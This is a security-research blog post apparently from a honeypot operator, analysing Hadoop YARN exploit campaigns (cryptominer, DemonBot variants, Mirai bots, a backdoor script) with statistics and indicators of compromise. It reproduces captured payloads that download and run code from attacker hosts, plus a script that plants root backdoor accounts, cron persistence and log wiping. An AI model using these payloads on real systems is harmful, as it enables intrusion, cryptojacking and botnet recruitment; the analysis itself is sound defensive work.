Hadoop YARN: Assessment of the Attack Surface and Its Exploits

TL;DR

Rate of Hadoop YARN exploits is slowing but still at a concerning 350,000 events per day
1065 servers are exposed and vulnerable
The geographic spread of vulnerable servers and the targets of the attacks is global and concentrated in regions with high cloud data center densities
Motivations behind the exploits range from planting Linux backdoors, infecting servers with IoT malware for scanning and DDoS, up to cryptomining campaigns
A Monero cryptomining campaign has been actively abusing exposed Hadoop YARN servers since April 2018 and mined for a total revenue of 566 XMR (about 60,000 USD) and is growing its revenues with an average of 2 XMR (212 USD) a day
In a window of less than 14 days, there was enough malware collected from Hadoop YARN exploit attempts to start a small zoo
Owners of Hadoop YARN servers should care, as they can fall victim to cryptomining abuse, causing loss of performance, instability and higher cloud utilization bills
Online businesses should care, too. They can be the target of DDoS attacks.
Consumers should care because they will not be able to shop during Cyber Monday if their favorite online shop falls victim to DDoS attacks

In my blog on DemonBot, I discussed how Hadoop YARN exploit attempts were ramping up. In the middle of October, our deception network recorded up to 1.5 million attempts per day. The good news is that the attempt rate steadily slowed down in the second half of last month — though unfortunately not to the point where we should pat ourselves on the back for exposing one of the many malicious campaigns that are taking advantage of exposed Hadoop YARN servers.

These last few days, the number of Hadoop Yarn exploit attempts slowed to an average of 350,000 attempts per day. That said, there is no sign of the threat going away any time soon and we should stay alert. In order to appreciate the risk and quantify the threat, I have been tracking Hadoop YARN campaigns and exploring the extent of the attack surface since my last blog. Understanding the potential for abuse and the types of threats that are emerging from the exposed servers allows one to better appreciate the risk.

The Attackers and their Victims

Between September and the first half of November, there have been more than 35 million exploit attempts registered by our deception network and over one-third of them originated from the US. Great Britain, Italy and Germany are the runners-up and, combined, they were good for more than half of the exploit attempts.

In absolute numbers, the U.S. generated nearly 12 million exploit attempts. Great Britain and Italy each were responsible for 6 million attempts, closely followed by Germany with 4.8 million attempts.

The exploit attempts were not specifically targeting a single region. The UK and Germany honeypots were hit twice as hard compared to the rest of the world. The average numbers for each region is between 1.6 and 3.2 million attempted exploits.

Hadoop YARN Attack Surface

To asses the attack surface, I performed a global scan for services listening on the Hadoop YARN port TCP/8088, taking care to exclude sensitive IP ranges as listed in Robert Graham’s masscan exclusion list. By November 8, the number of vulnerable Hadoop YARN servers exposed to the public was 1065. The vulnerable servers are scattered around the globe with higher concentrations in areas where the data center density is high.

Compare the above locations of vulnerable Hadoop YARN servers with the global data center map below:

The attack surface is global and limited to little over 1,000 servers, but it should not be ignored because of the high potential powerful big data servers typically provide for malicious agents.

Types of Abuse

Now that we have a good measure on the attack surface and the interest taken in it by malicious actors, it’s time to have a closer look at how these actors are attempting to take advantage of this situation.

The below graph shows different Hadoop YARN exploits recorded by our medium interaction honeypots over a period of 14 days. Each exploit payload contains a command sequence which is hashed into a unique fingerprint, allowing us to quantify and track campaigns over time. The exploit table in (*1) contains the details of each command sequence corresponding to the fingerprints in the graph.

The red bars in the command sequence graph above represent the attempted count per day from a new DemonBot campaign ‘YSDKOP,’ named after the names used for the malware binaries.

The two large peaks in different shades of blue represent multiple exploits related to a Hadoop YARN cryptomining campaign that has been running for at least 8 months now; first spotted in April 2018, it recently moved its download infrastructure to BitBucket.org. Guess it is more convenient to track different versions of cryptominer and its configuration files over time using Atlassian’s free and public service…

The other, shorter and less aggressive campaigns represented in the command sequence graph above were mostly infection attempts by Linux/IoT Botnets. Some that seemed worthy of a few words are discussed below.

The Bitbucket Crypto Miner

An ongoing Monero cryptomining campaign that has been known to actively abuse exposed Hadoop YARN servers since April of this year, mined a total of 566 XMR (about 60,000 USD) and is growing its revenue with an average rate of 2 XMR (212 USD) a day. The malicious agent or group is currently abusing three servers and maintains an average hash rate of 400kH/s over time.

Leveraging the Hadoop YARN vulnerability, a shell script is downloaded and executed from a public BitBucket account:

{“max-app-attempts”:2,”am-container-spec”:{“commands”:{“command”:”wget -q -O — https://bitbucket.org/zrundr42/mygit/raw/master/zz.sh | bash & disown”}},”application-id”:”application_1802197302061_0095″,”application-type”:”YARN”,”application-name”:”hadoop”}

The ‘zz.sh’ script, archived in (*2) for reference, performs some cleaning up on the server before ultimately downloading a binary called ‘x_64’ from the same repository.

The x_64 binary is XMRig, an open source, high performance Monero CPU miner written in C++ (https://github.com/xmrig/xmrig).

$ ./x_64 --versionXMRig 2.8.1built on Oct 18 2018 with GCC 4.8.4features: 64-bit AESlibuv/1.9.1

The configuration file for XMRig is ‘w.conf’ and downloaded from the same BitBucket repository:

{"algo": "cryptonight","background": true,"colors": false,"retries": 5,"retry-pause": 5,"donate-level": 1,"syslog": false,"log-file": null,"print-time": 60,"av": 0,"safe": false,"max-cpu-usage": 95,"cpu-priority": 4,"threads": null,"pools": [{"url": "stratum+tcp://163.172.205[.]136:3333","user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S","pass": "h","keepalive": true,"nicehash": false,"variant": -1}],"api": {"port": 0,"access-token": null,"worker-id": null}}

From the configuration file we find the pool wallet address:

46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

The wallet address matches that of operations reported in the Stackoverflow and HortonWorks communities by Hadoop admins in May of this year; thousands of cryptomining jobs were causing issues with the cluster.

In August, the 360 Threat Intelligence Center published a report on what they called the “8220 mining gang,” also mentioning the same wallet address. According to the researchers, the mining gang was/is suspected to be of Chinese origin.

The same address also matches the wallet address used in a sample Nanopool report link in the readme of another cryptomining open-source software hosted on Github and called ‘Cpuhunter’.

The Nanopool wallet account that has been in use since April 10 can be tracked through this link.

The total XMR payments resulting from this illegal mining operation were, as of November 12, 566 XMR or about 60,000 USD.

IOC

a1bd663986bae6b5cea19616c9507d09618eaddb71051ae826580a0b7e610ae5 x_64Bitbucket repo: https://bitbucket[.]org/zrundr42/mygit/src/master/Mining pool account:46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

YSDKOP, DemonBot in Hiding

YSDKOP bots are delivered through a Hadoop YARN exploit using the following payload:

User-Agent: [python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.3.5.el6.x86_64]{"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/bins.sh -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex; rm -rf/tmp/flex"}}, "application-id": "application_1802197302061_0095", "application-type": "YARN", "application-name": "get-shell"}

The downloaded ‘bins.sh’ script downloads in its turn several binaries in a typical IoT loader kind of way:

$ cat bins.sh#!/bin/bashcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.mips; chmod +x YSDKOP.mips; ./YSDKOP.mips; rm -rf YSDKOP.mipscd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.mpsl; chmod +x YSDKOP.mpsl; ./YSDKOP.mpsl; rm -rf YSDKOP.mpslcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.sh4; chmod +x YSDKOP.sh4; ./YSDKOP.sh4; rm -rf YSDKOP.sh4cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.x86; chmod +x YSDKOP.x86; ./YSDKOP.x86; rm -rf YSDKOP.x86cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.arm6; chmod +x YSDKOP.arm6; ./YSDKOP.arm6; rm -rf YSDKOP.arm6cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.i686; chmod +x YSDKOP.i686; ./YSDKOP.i686; rm -rf YSDKOP.i686cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.ppc; chmod +x YSDKOP.ppc; ./YSDKOP.ppc; rm -rf YSDKOP.ppccd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.i586; chmod +x YSDKOP.i586; ./YSDKOP.i586; rm -rf YSDKOP.i586cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.m68k; chmod +x YSDKOP.m68k; ./YSDKOP.m68k; rm -rf YSDKOP.m68kcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.sparc; chmod +x YSDKOP.sparc; ./YSDKOP.sparc; rm -rf YSDKOP.sparccd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.arm4; chmod +x YSDKOP.arm4; ./YSDKOP.arm4; rm -rf YSDKOP.arm4cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.arm5; chmod +x YSDKOP.arm5; ./YSDKOP.arm5; rm -rf YSDKOP.arm5cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.arm7; chmod +x YSDKOP.arm7; ./YSDKOP.arm7; rm -rf YSDKOP.arm7cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25[.]153/YSDKOP.ppc440fp; chmod +x YSDKOP.ppc440fp; ./YSDKOP.ppc440fp; rm -rf YSDKOP.ppc440fp

The different binaries correspond to cross-compiled versions of the same source code for multiple platform architectures:

$ file *YSDKOP.arm4: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not strippedYSDKOP.arm5: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not strippedYSDKOP.arm6: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not strippedYSDKOP.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not strippedYSDKOP.i586: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not strippedYSDKOP.i686: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not strippedYSDKOP.m68k: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, not strippedYSDKOP.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not strippedYSDKOP.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not strippedYSDKOP.ppc: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not strippedYSDKOP.sh4: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not strippedYSDKOP.sparc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, with debug_info, not strippedYSDKOP.x86: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

A quick glance over the strings of the i586 binary reveals the typical DemonBot markers:

$ strings YSDKOP.i586…185.244.25[.]153:4208.8.8.8/proc/net/route00000000(null)/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9AnwonknuunknownHelloslammed…Sending TCP Packets To: %s:%d for %d secondsSTOP[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]

This is an unaltered DemonBot hiding behind a random name YSDKOP.

IOC

59719aa688954e7f4dd575173d7c9b5de6fd0d69d8c9ed8834d91a144e635e3b bins.sh 106dc7d4f44c1077b62c6d509ce471c79e27ffc7369d6418ddafed861c0f93be YSDKOP.arm4 dd62d3b51b194729f7270c590f647d08a1cbc6af8ecf0b92a98dc3e330fe304a YSDKOP.arm5 3fb0dd65608b93034e212ad85e660f6bc25a5df896410e0c6b9c411e56faac55 YSDKOP.arm6 74f8d9c9d91f87aa7f092efa6b12a4c9dfff492eb54f12d6e35e8bf3e96eacff YSDKOP.arm7 a36dff7844715c796de80f26b9dd4470de8cbc6c941499b6a94c048afd567316 YSDKOP.i586 7caed4bafe6c964c090d78f93e7eb7943bb19575532f19e70a87cfe2943d1621 YSDKOP.i686 dd8163a99b5cdd3e591213c64ad48e25d594f4b7ab9802cd7c60f3150a9e71f9 YSDKOP.m68k 67e85c8b24c3e382a1d83245d1c77f6b8b5f0b19be36fd8fb06f1cb42d07dad5 YSDKOP.mips 8b2407226356487558a26aba967befd48df53a5f53fd23b300f22b4dc9abe293 YSDKOP.mpsl b94176a7448aa8ea0c961bc69371778828f3ab5665b14cc235f8413d8bf86386 YSDKOP.ppc a96e07c8dc42eb05fa21069bb14391ee4241d1ccd9289c52cb273ffb7ecd3891 YSDKOP.sh4 43e445b0c644d52129c47154cd6bcdea7192d680cc3d2e8165b904c54ddd6fc2 YSDKOP.sparc39f2b2c68362a347aad0942853d0262acec1e2f4174ba973b0c574f4567cb893 YSDKOP.x86

Supra, DemonBot-ng

Infecting through the Hadoop YARN exploit payload below:

{"am-container-spec": {"commands": {"command": "cd /tmp; rm -rf *; wget http://80.211.59[.]125/n; sh n"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The downloaded script ’n’ contains code to download two binaries, one 32bit x86 and one 64bit x86:

$ cat n#!/bin/shn="Supra.x86 Supra.x86_64"http_server="80.211.59.125"dirs="/tmp/ /var/ /dev/shm/ /dev/ /var/run/ /var/tmp/"

for dir in $dirsdo>$dir.file && cd $dirdone

for i in $ndocp $SHELL $i>$ichmod 777 $iwget http://$http_server/$i -O $ichmod 777 $i./$idone

Looking at the strings of the downloaded ‘Supra.x86_64’ binary, we see a close match with those of DemonBot, as do the decorated names in the unstripped binary.

$ strings Supra.x86_64…80.211.59.125:4348.8.8.8/proc/net/route…x86_64Linux/usr/bin/apt-getUbuntu/Debian/usr/lib/portageGentoo/usr/bin/yumRHEL/CentOS/usr/share/YaST2OpenSUSE/etc/dropbear/OpenWRT/etc/opkgUNKNOWN/etc/ssh/Dropbear/etc/xinet.d/telnetTelnet/usr/kerberos/bin/telnet…[1;37m[[0;35mSupra[1;37m][0;35m-->[1;37m[[0;35m%s[1;37m][0;35m-->[1;37m[[0;35m%s[1;37m][0;35m-->[1;37m[[0;35m%s[1;37m][0;35m-->[1;37m[[0;35m%s[1;37m][0;35m-->[1;37m[[0;35m%s[1;37m]…GCC: (GNU) 4.2.1…

Note the very similar string as previously discovered in the DemonBot source code, but this time with ‘Supra’ instead of ‘shelling’ in the first square brackets:

[Supra]–>[%s]–>[%s]–>[%s]–>[%s]–>[%s]

The new binary also contains indicators of an extension in the platform detection code. The original DemonBot checked for two platforms

Ubuntu/Debian, based on the existence of /usr/bin/apt-get, and
RHEL/Centos, based on the existence of /usr/bin/yum

Supra adds to the above two:

Gentoo: /usr/lib/portage
OpenSUSE: /usr/share/YaST2
OpenWRT: /etc/dropbear
UNKNOWN: /etc/opkg
Dropbear: /etc/ssh/
Telnet: /etc/xinet.d/telnet

The compile version used for this DemonBot version is identical to the original DemonBot: GCC (GNU) 4.2.1.

Hoho, a Botnet by Greek.Helios

Hadoop YARN exploit payload:

{"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://68.183.96[.]48/bins/hoho.x86 -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex servers"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The binaries first appeared on the server on Oct 30, 2018:

The hoho.x86 binary contains the literal string:

Botnet Made By greek.Helios

The binary is packed with the UPX executable packer and matches mostly Mirai code.

IOC

7812fc4e894712845559193bd2b9cc88391b0a6691906124846cbaf73eb67b73 hoho.arm 622dd9dc905a14d881ce07227252f5086ba3b7afca88b913ece0bcfb4444b41b hoho.arm5 b9e0cce5412c1cb64f6e53493c8263f5e0d56e6e217ea4d94e401bf2da6d8c60 hoho.arm6 7050cb141e5eb0a8236639e0d9f2cc9bca63f2c3984b3ea8e30400984d24cfe6 hoho.arm7 4ce21713f20624ea5ba9eec606c53b7d9c38c2d72abf4043f509c81326bbdb1d hoho.m68k 485ecbe80f8f98b032af80cf32bb26d49e1071c75b25f6e306e37856f1446d38 hoho.mips a599bf6697062d3358b848db40399feafd65931834acc9228f97dc27aa7fa4bb hoho.mpsl 456b31214698f894e8f4eb4aa01a34305c713df526fd33db74b58f440e59a863 hoho.ppc e0a56e2ea529991933c38fc8159374c8821fdb57fe5622c2cf8b5ad7798bbc02 hoho.sh4 da53b60354c3565a9954cbaa0e1b6d7146d56890ee10cd0745b5787298db97a7 hoho.spc9f4f93667e4892ca84a45981caafb4a39eabdc2f6c257f0dc2df04c73f1bf0a4 hoho.x86

prax0zma.ru

This campaign consists of a set of shell scripts which deletes system and other user accounts from a compromised server and creates two backdoor accounts with root privileges.

The backdoor account user names are ‘VM’ and ‘localhost’ and both have their password set to the hash ‘$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1’.

http://prax0zma[.]ru/8.sh$ cat 8.shexport PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://prax0zma[.]ru/8.sh | sh" > /var/spool/cron/rootecho "*/5 * * * * wget -q -O- http://prax0zma[.]ru/8.sh | sh" >> /var/spool/cron/root#echo "0 * * * * pkill -9 r" >> /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/5 * * * * curl -fsSL http://prax0zma[.]ru/8.sh | /bin/sh" > /var/spool/cron/crontabs/rootecho "*/5 * * * * wget -q -O- http://prax0zma[.]ru/8.sh | /bin/sh" >> /var/spool/cron/crontabs/root#echo "0 * * * * pkill -9 r" >> /var/spool/cron/crontabs/root

cd /boot ; wget -q http://hehe.suckmyass[.]cf/.o -O .b; chmod +x .b; nohup ./.b >/dev/null 2>&1cd /boot ; curl -O http://hehe.suckmyass[.]cf/.o ; chmod +x .o; nohup ./.o >/dev/null 2>&1#cd /tmp ; curl -O http://sandbotc2[.]ml/fefe | wget -q http://sandbotc2[.]ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1echo 128 > /proc/sys/vm/nr_hugepagessysctl -w vm.nr_hugepages=128ulimit -n 65000ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; thencurl -fsSL http://prax0zma[.]ru/bash -o /tmp/.ha/nsyhsfi

if [ ! -f "/tmp/.ha/nsyhs" ]; thenwget -q http://prax0zma[.]ru/bash -O /tmp/.ha/nsyhsfi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs

----http://hehe.suckmyass[.]cf/.o$ cat .ocd /boot ; wget -q http://r00ts.truthdealmodz[.]pw/.i -O .0; chmod +x .0; nohup ./.0 >/dev/null 2>&1 ; rm -rf .0cd /boot ; curl -O http://r00ts.truthdealmodz[.]pw/.i ; chmod +x .i; nohup ./.i >/dev/null 2>&1 ; rm -rf .iuserdel -f bash >/dev/null 2>&1userdel -f ssh >/dev/null 2>&1userdel -f butter >/dev/null 2>&1userdel -f r00t >/dev/null 2>&1userdel -f axiga >/dev/null 2>&1userdel -f cats >/dev/null 2>&1userdel -f python >/dev/null 2>&1userdel -f Word >/dev/null 2>&1userdel -f fxmeless >/dev/null 2>&1userdel -f yandex >/dev/null 2>&1userdel -f synx >/dev/null 2>&1userdel -f syncs >/dev/null 2>&1userdel -f oracles >/dev/null 2>&1userdel -f cubes >/dev/null 2>&1userdel -f wwww >/dev/null 2>&1userdel -f http >/dev/null 2>&1userdel -f R00T >/dev/null 2>&1userdel -f z >/dev/null 2>&1userdel -f r000t >/dev/null 2>&1userdel -f ssshd >/dev/null 2>&1userdel -f vps >/dev/null 2>&1userdel -f Duck >/dev/null 2>&1userdel -f x >/dev/null 2>&1userdel -f redisserver >/dev/null 2>&1userdel -f admins >/dev/null 2>&1userdel -f halts >/dev/null 2>&1useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1#rm -rf /tmp/.*rm -rf /var/tmp/.zrm -rf /tmp/.FILErm -rf /tmp/.xmrm -rf /tmp/.iokb21rm -rf /tmp/.bzc bzc.tgz*rm -rf /var/tmp/.xm.logpkill -9 56545pkill -9 Wordpkill -9 " "pkill -9 xdspkill -9 httpd.confpkill -9 yampkill -9 xdpkill -9 .syslogpkill -9 wipefspkill -9 " "pkill -9 auditdpkill -9 crondbpkill -9 synpkill -9 xnetdpkill -9 ld-linux-x86-64pkill -9 xm64pkill -9 xm32pkill -9 kthreaddpkill -9 watchdogspkill -9 xmrig64pkill -9 xigpkill -9 pspkill -9 minerdpkill -9 smh64pkill -9 system.usermnpkill -9 skrtpkill -9 .xm.logpkill -9 zjgwpkill -9 SSHerpkill -9 SSherpkill -9 xmpkill -f ld-linux-x86-64pkill -f xm64pkill -f xm32pkill -f xigpkill -f minerdpkill -f pspkill -f .xm/etc/init.d/crond startservice crond startiptables -I INPUT -s 185.234.217.11 -j DROPiptables -A INPUT -s 185.234.217.11 -j REJECT cd /boot ; wget -q http://hehe.suckmyass[.]cf/.o -O .b; chmod +x .b; nohup ./.b >/dev/null 2>&1cd /boot ; curl -O http://hehe.suckmyass[.]cf/.o ; chmod +x .o; nohup ./.o >/dev/null 2>&1#cd /tmp ; curl -O http://sandbotc2[.]ml/fefe | wget -q http://sandbotc2[.]ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1echo 128 > /proc/sys/vm/nr_hugepagessysctl -w vm.nr_hugepages=128ulimit -n 65000ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; thencurl -fsSL http://prax0zma[.]ru/bash -o /tmp/.ha/nsyhsfi

if [ ! -f "/tmp/.ha/nsyhs" ]; thenwget -q http://prax0zma[.]ru/bash -O /tmp/.ha/nsyhsfi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs

----http://r00ts.truthdealmodz.pw/.i$ cat .i#!/bin/bash

useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz[.]pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz[.]pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz[.]pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz[.]pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz[.]pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;head -c -384 /var/log/wtmp > .wtmp; mv .wtmp /var/log/wtmp; chmod 664 /var/log/wtmp; chown root:utmp /var/log/wtmp; chmod 777 /etc/cron.*/* ;history -c;unset history;history -w

A Malware Zoo

The Hadoop YARN exploits in table (*1) provided for a real Linux IoT malware zoo — most of the binaries are Mirai- related — not to our surprise…

Links that are still active:

http://167.88.161[.]40/yarn.x862eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b yarn.x86http://185.244.25[.]150/bins/otaku.x8634ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5 otaku.x86http://185.244.25[.]163/8×868a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55 8×868http://185.244.25[.]222/x864b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd x86http://185.244.25[.]251/x8633f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104 x86http://167.99.51[.]231/x8683777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6 x86http://46.17.47[.]198/bins/kowai.x861a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60 kowai.x86

http://94.177.231[.]48/sh$ cat sh#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"server_ip="94.177.231.48"binname="miori"execname="loliloli"

for arch in $binarysdocd /tmpwget http://$server_ip/$binname.$arch -O $execname#tftp -g -l $execname -r $binname.$arch $server_ipchmod 777 $execname./$execnamerm -rf $execnamedone$ wget http://94.177.231[.]48/miori.x86

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254 miori.x86

http://46.29.165.143/fearless.sh#!/bin/bashcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpdcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshdcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopensshcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbashcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftpcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswgetcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscroncd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftpcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftpcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlessshcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshitcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165[.]143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57 fearlessapache2

